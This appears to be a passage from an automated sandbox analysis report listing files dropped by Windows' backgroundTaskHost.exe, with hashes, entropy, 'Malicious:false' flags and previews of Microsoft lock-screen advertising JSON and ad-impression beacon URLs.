                                                                                        SHA-512:48F58C579D4AF113123A6E3B140753CF7B6C71064C3322CA93D59C6E78DB8E5D57519F641C9111CCD66E597802427D0805A772EDC4D91C7114D115344C6F16AF
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".e.r.r.o.r.s.".:.[.{.".c.o.d.e.".:.2.0.4.0.,.".m.s.g.".:.".D.e.m.a.n.d. .s.o.u.r.c.e. .r.e.t.u.r.n.s. .e.r.r.o.r. .(.N.a.m.e.:. .G.N._.p.s.,. .E.r.r.o.r.:. .N.o. .e.l.i.g.i.b.l.e. .c.o.n.t.e.n.t...)...".}.].,.".r.e.f.r.e.s.h.t.i.m.e.".:.".2.0.2.2.-.0.7.-.2.0.T.1.0.:.1.0.:.1.7.".}.}.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310091\1658297416.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:Little-endian UTF-16 Unicode text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):336
                                                                                        Entropy (8bit):3.451125706676229
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:Qeu01nAKmsy6AlS5CGQAffetXDdv5XY4ANJdlzYiL+5K5SaNy/G6z:Qeu01n+p65CGIz95INjzYiaU5SaNI
                                                                                        MD5:F53CB45FAD2C234598D0BC4AF6BB1E53
                                                                                        SHA1:FF30E2B2B0E3F28596A91D2899E303535DBEE6A8
                                                                                        SHA-256:8B71F345CA6F108C51A7E07B1672F5A4188BA2F4D4AA60F356F382B6D47A915D
                                                                                        SHA-512:48F58C579D4AF113123A6E3B140753CF7B6C71064C3322CA93D59C6E78DB8E5D57519F641C9111CCD66E597802427D0805A772EDC4D91C7114D115344C6F16AF
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".e.r.r.o.r.s.".:.[.{.".c.o.d.e.".:.2.0.4.0.,.".m.s.g.".:.".D.e.m.a.n.d. .s.o.u.r.c.e. .r.e.t.u.r.n.s. .e.r.r.o.r. .(.N.a.m.e.:. .G.N._.p.s.,. .E.r.r.o.r.:. .N.o. .e.l.i.g.i.b.l.e. .c.o.n.t.e.n.t...)...".}.].,.".r.e.f.r.e.s.h.t.i.m.e.".:.".2.0.2.2.-.0.7.-.2.0.T.1.0.:.1.0.:.1.7.".}.}.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\eventbeacons.dat (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):10378
                                                                                        Entropy (8bit):5.366514201178842
                                                                                        Encrypted:false
                                                                                        SSDEEP:96:pUJGnWA0MWbUJMWl0WSfWuUJWSfWHUJDWg0ZWpUJZWy0LWyUJLWVJS5YJsUyS5Y+:bn/Yu2N2jyvUcB4axMlylOx2J3Er
                                                                                        MD5:01601CC6B7AA542F03CF0AD1840BA2A5
                                                                                        SHA1:FFFBE49862C5856291D6B36FD4A171C4E1F4EA72
                                                                                        SHA-256:C1EC565A583F84677674ED47C927AC15CAD9A9A4408343A9287EE4D3D16749E7
                                                                                        SHA-512:FB6AF1852964E871FCB16D69649B9A6F47D9D0F560AC63C31BDE672D9E0A4F22AFBC4718EE70691A70871106921383154CBA088AFEDE98BC7EEBD6C5691E5B79
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://ris.api.iris.microsoft.com/v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=c4dc8bd937f04450a8fcc1f8072270f0&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=c069b9331e0248a9a4f583bcacc849e3&time=20220720T061037Z..https://ris.api.iris.microsoft.com/v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=c4dc8bd937f04450a8fcc1f8072270f0&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=c069b9331e0248a9a4f583bcacc849e3&time=20220720T061038Z..https://ris.api.iris.microsoft.com/v1/a/impression?pg=

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\eventbeacons.dat.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):10378
                                                                                        Entropy (8bit):5.366514201178842
                                                                                        Encrypted:false
                                                                                        SSDEEP:96:pUJGnWA0MWbUJMWl0WSfWuUJWSfWHUJDWg0ZWpUJZWy0LWyUJLWVJS5YJsUyS5Y+:bn/Yu2N2jyvUcB4axMlylOx2J3Er
                                                                                        MD5:01601CC6B7AA542F03CF0AD1840BA2A5
                                                                                        SHA1:FFFBE49862C5856291D6B36FD4A171C4E1F4EA72
                                                                                        SHA-256:C1EC565A583F84677674ED47C927AC15CAD9A9A4408343A9287EE4D3D16749E7
                                                                                        SHA-512:FB6AF1852964E871FCB16D69649B9A6F47D9D0F560AC63C31BDE672D9E0A4F22AFBC4718EE70691A70871106921383154CBA088AFEDE98BC7EEBD6C5691E5B79
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://ris.api.iris.microsoft.com/v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=c4dc8bd937f04450a8fcc1f8072270f0&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=c069b9331e0248a9a4f583bcacc849e3&time=20220720T061037Z..https://ris.api.iris.microsoft.com/v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=c4dc8bd937f04450a8fcc1f8072270f0&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=c069b9331e0248a9a4f583bcacc849e3&time=20220720T061038Z..https://ris.api.iris.microsoft.com/v1/a/impression?pg=

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\imprbeacons.dat (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):2887
                                                                                        Entropy (8bit):5.214112930755401
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:eSYSeKh0gynsBeT+TKS8ZRa+E8JWW0gynsBeT+TKSl:/h+F+SLJWW+F+/
                                                                                        MD5:C5FA74BC0719D39B322F13153F35A3FB
                                                                                        SHA1:C1C7FCE5BDBEF5AC3A38C2CC8262CB8AD54CF407
                                                                                        SHA-256:197D2E4D5F002D897A03817AA3C76355EADCE47EA4DA3DA0A4929DCB3BE2789D
                                                                                        SHA-512:E6C044542C20DD7D4AB310C8D145B171B1186E837EFD85D90DDB8238FACF872BA93C10B556B2BB4BAA9988A5B5138CA32875F7F2C74FEEB2DD324105AF9547DC
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=425106558&TID=700342085&CID=128000000001392729&BID=77949651&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=CA09AC395E3D42FA885351057DE003AA&ASID=c069b9331e0248a9a4f583bcacc849e3&TIME=20220720T061000Z&SLOT=2&REQT=20220720T060821&MA_Score=2&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=c4dc8bd937f04450a8fcc1f8072270f0&BCNT=1&PG=PC000P0FR5.0000000IQ8&UNID=314559&MAP_TID=C1ED8116-FE7F-451B-B6CC-79C356E73058&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=CA09AC395E3D42FA885351057DE003AA&REQASID=CA09AC395E3D42FA885351057DE003AA&ARC=1&EMS=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=984&LOH=24&LO=1417890&RAFB=0&MARKETBASEDCOUNTRY=US&CLR=CDM&CFMT=TEXT%2CIMAGE&SFT=JPEG%2CPNG%2CGIF%2CJPG&H=1&W=1&TP=1&FESVER=1.3&CACHE_CHS=0&CACHE_IMP=0&CACHE_CHF=0&CACHE_

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\imprbeacons.dat.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):2887
                                                                                        Entropy (8bit):5.214112930755401
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:eSYSeKh0gynsBeT+TKS8ZRa+E8JWW0gynsBeT+TKSl:/h+F+SLJWW+F+/
                                                                                        MD5:C5FA74BC0719D39B322F13153F35A3FB
                                                                                        SHA1:C1C7FCE5BDBEF5AC3A38C2CC8262CB8AD54CF407
                                                                                        SHA-256:197D2E4D5F002D897A03817AA3C76355EADCE47EA4DA3DA0A4929DCB3BE2789D
                                                                                        SHA-512:E6C044542C20DD7D4AB310C8D145B171B1186E837EFD85D90DDB8238FACF872BA93C10B556B2BB4BAA9988A5B5138CA32875F7F2C74FEEB2DD324105AF9547DC
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=425106558&TID=700342085&CID=128000000001392729&BID=77949651&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=CA09AC395E3D42FA885351057DE003AA&ASID=c069b9331e0248a9a4f583bcacc849e3&TIME=20220720T061000Z&SLOT=2&REQT=20220720T060821&MA_Score=2&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=c4dc8bd937f04450a8fcc1f8072270f0&BCNT=1&PG=PC000P0FR5.0000000IQ8&UNID=314559&MAP_TID=C1ED8116-FE7F-451B-B6CC-79C356E73058&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=CA09AC395E3D42FA885351057DE003AA&REQASID=CA09AC395E3D42FA885351057DE003AA&ARC=1&EMS=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=984&LOH=24&LO=1417890&RAFB=0&MARKETBASEDCOUNTRY=US&CLR=CDM&CFMT=TEXT%2CIMAGE&SFT=JPEG%2CPNG%2CGIF%2CJPG&H=1&W=1&TP=1&FESVER=1.3&CACHE_CHS=0&CACHE_IMP=0&CACHE_CHF=0&CACHE_

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338387\1658297378 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):49234
                                                                                        Entropy (8bit):3.859748370507375
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:LHIZGLjMJnq2MQ8vWM/heXc4+k0oCUGmCdXCAy+uJXc43eOn15vbRUl5viOPF5vr:Lmdo51/hphN1MAy+uuvav6vPvlt+Oth
                                                                                        MD5:49F55DBCDC12C522D869C2DE1D6A2DD0
                                                                                        SHA1:17AD7EC4CA96E418065035AAF13802290A1E21B5
                                                                                        SHA-256:46770C5BA68826B8E408AC68D782F60726F17E2FEC6640A2AC15E2811901BBBD
                                                                                        SHA-512:F4E578F6695372376001281084CAAD6821417997BFB812C888F9CDCC76BF0B3E603770920F9881DDC907E3E8EB7D753AC87947B4E62582BF3823A18BF323FC39
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".n.a.m.e.\.".:.\.".L.o.c.k.S.c.r.e.e.n.\.".,.\.".p.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".p.o.r.t.r.a.i.t.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".s.h.o.w.I.m.a.g.e.O.n.S.e.c.u.r.e.L.o.c.k.\.".:.{.\.".i.s.O.p.t.i.o.n.a.l.\.".:.t.r.u.e.,.\.".t.y.p.e.\.".:.\.".b.o.o.l.e.a.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".f.i.l.e.S.i.z.e.\.".:.1.7.0.8.8.6.5.,.\.".h.e.i.g.h.t.\.".:.1.0.8.0.,.\.".s.h.a.2.5.6.\.".:.\.".D.0.H.X.2.8.n.y.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338387\1658297378.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):49234
                                                                                        Entropy (8bit):3.859748370507375
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:LHIZGLjMJnq2MQ8vWM/heXc4+k0oCUGmCdXCAy+uJXc43eOn15vbRUl5viOPF5vr:Lmdo51/hphN1MAy+uuvav6vPvlt+Oth
                                                                                        MD5:49F55DBCDC12C522D869C2DE1D6A2DD0
                                                                                        SHA1:17AD7EC4CA96E418065035AAF13802290A1E21B5
                                                                                        SHA-256:46770C5BA68826B8E408AC68D782F60726F17E2FEC6640A2AC15E2811901BBBD
                                                                                        SHA-512:F4E578F6695372376001281084CAAD6821417997BFB812C888F9CDCC76BF0B3E603770920F9881DDC907E3E8EB7D753AC87947B4E62582BF3823A18BF323FC39
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".n.a.m.e.\.".:.\.".L.o.c.k.S.c.r.e.e.n.\.".,.\.".p.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".p.o.r.t.r.a.i.t.I.m.a.g.e.\.".:.{.\.".t.y.p.e.\.".:.\.".i.m.a.g.e.\.".}.,.\.".s.h.o.w.I.m.a.g.e.O.n.S.e.c.u.r.e.L.o.c.k.\.".:.{.\.".i.s.O.p.t.i.o.n.a.l.\.".:.t.r.u.e.,.\.".t.y.p.e.\.".:.\.".b.o.o.l.e.a.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".l.a.n.d.s.c.a.p.e.I.m.a.g.e.\.".:.{.\.".f.i.l.e.S.i.z.e.\.".:.1.7.0.8.8.6.5.,.\.".h.e.i.g.h.t.\.".:.1.0.8.0.,.\.".s.h.a.2.5.6.\.".:.\.".D.0.H.X.2.8.n.y.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\1658297378 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):8968
                                                                                        Entropy (8bit):3.833722547584266
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:LFK460PcRGYu36MUaPcRDYu3y4w0PcRGYu3i7RaYu3vhR5Rlk0PRfFk:LMscGJcescd7ihPhJfFk
                                                                                        MD5:53C4048B68C517E51011389DE0F8C766
                                                                                        SHA1:1847172640BBADCE54498CDE7E10431AA24127F6
                                                                                        SHA-256:D0D9FE77F4CEDC012D9081039F0C5A0C1DD1042E6696EA50D71B6351DBCA048F
                                                                                        SHA-512:24F1F56CB1619CF449058024A09B1FE9F43E54A90589984F4C13302DD181F46EC297FA326A51102825D77E84E82B048E918E5C560ACC45E67CBCC7705034A143
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.y.p.e.\.".:.\.".t.e.x.t.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.e.x.t.\.".:.\.".h.i.d.d.e.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.\.".c.o.l.l.e.c.t.i.o.n.I.d.\.".:.\.".S.t.a.r.t...S.u.g.g.e.s.t.i.o.n.s.\.".}.,.\.".a.c.t.i.o.n.\.".:.\.".a.d.d.T.i.l.e.T.o.C.o.l.l.e.c.t.i.o.n.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\1658297378.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):8968
                                                                                        Entropy (8bit):3.833722547584266
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:LFK460PcRGYu36MUaPcRDYu3y4w0PcRGYu3i7RaYu3vhR5Rlk0PRfFk:LMscGJcescd7ihPhJfFk
                                                                                        MD5:53C4048B68C517E51011389DE0F8C766
                                                                                        SHA1:1847172640BBADCE54498CDE7E10431AA24127F6
                                                                                        SHA-256:D0D9FE77F4CEDC012D9081039F0C5A0C1DD1042E6696EA50D71B6351DBCA048F
                                                                                        SHA-512:24F1F56CB1619CF449058024A09B1FE9F43E54A90589984F4C13302DD181F46EC297FA326A51102825D77E84E82B048E918E5C560ACC45E67CBCC7705034A143
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.y.p.e.\.".:.\.".t.e.x.t.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.e.x.t.\.".:.\.".h.i.d.d.e.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.\.".c.o.l.l.e.c.t.i.o.n.I.d.\.".:.\.".S.t.a.r.t...S.u.g.g.e.s.t.i.o.n.s.\.".}.,.\.".a.c.t.i.o.n.\.".:.\.".a.d.d.T.i.l.e.T.o.C.o.l.l.e.c.t.i.o.n.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\eventbeacons.dat (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1178
                                                                                        Entropy (8bit):5.371810212212278
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:2AsfLW9iVHKCq1+pTF7AsfLW9iVHKCq1+pTFK:psToKqCq+pp7AsToKqCq+ppK
                                                                                        MD5:DDDB76B257492DFC7799B9E45F563D93
                                                                                        SHA1:6FE77CC8C101CEF5FC0F1ED72A617F3F36E4C906
                                                                                        SHA-256:C51480D28CA1DE347662E3CAAB7A094F11E6A6EF2E3582B50CAF80A76734A020
                                                                                        SHA-512:8577E0826FC7C094B76410E0BDAE9DD9BA2E15E6F80B2412B2F29E02AE012464DE60644B4732FC68E126063FD4CF9D90738F22DB999DAEA339DD40C525B90C92
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=478363142&PG=PC000P0FR5.0000000IRT&REQASID=E4B629D499B64EBDB8378EBB870CEF30&UNID=338388&ASID=4c36159ae5ee4f6e9686eaabcf07c89c&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOBALDEVICEID=6966530473343700&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=57e3123c03f642ef9913bd3119f480bd&DEVOSVER=10.0.17134.1&REQT=20220720T060939&TIME=20220720T061014Z&ARCRAS=&CLR=CDM..https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=478363142&PG=PC000P0FR5.0000000IRT&REQASID=E4B629D499B64EBDB8378EBB870CEF30&UNID=338388&ASID=4c36159ae5ee4f6e9686eaabcf07c89c&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOBALDEVICEID=6966530473

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\eventbeacons.dat.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1178
                                                                                        Entropy (8bit):5.371810212212278
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:2AsfLW9iVHKCq1+pTF7AsfLW9iVHKCq1+pTFK:psToKqCq+pp7AsToKqCq+ppK
                                                                                        MD5:DDDB76B257492DFC7799B9E45F563D93
                                                                                        SHA1:6FE77CC8C101CEF5FC0F1ED72A617F3F36E4C906
                                                                                        SHA-256:C51480D28CA1DE347662E3CAAB7A094F11E6A6EF2E3582B50CAF80A76734A020
                                                                                        SHA-512:8577E0826FC7C094B76410E0BDAE9DD9BA2E15E6F80B2412B2F29E02AE012464DE60644B4732FC68E126063FD4CF9D90738F22DB999DAEA339DD40C525B90C92
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=478363142&PG=PC000P0FR5.0000000IRT&REQASID=E4B629D499B64EBDB8378EBB870CEF30&UNID=338388&ASID=4c36159ae5ee4f6e9686eaabcf07c89c&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOBALDEVICEID=6966530473343700&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=57e3123c03f642ef9913bd3119f480bd&DEVOSVER=10.0.17134.1&REQT=20220720T060939&TIME=20220720T061014Z&ARCRAS=&CLR=CDM..https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=478363142&PG=PC000P0FR5.0000000IRT&REQASID=E4B629D499B64EBDB8378EBB870CEF30&UNID=338388&ASID=4c36159ae5ee4f6e9686eaabcf07c89c&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOBALDEVICEID=6966530473

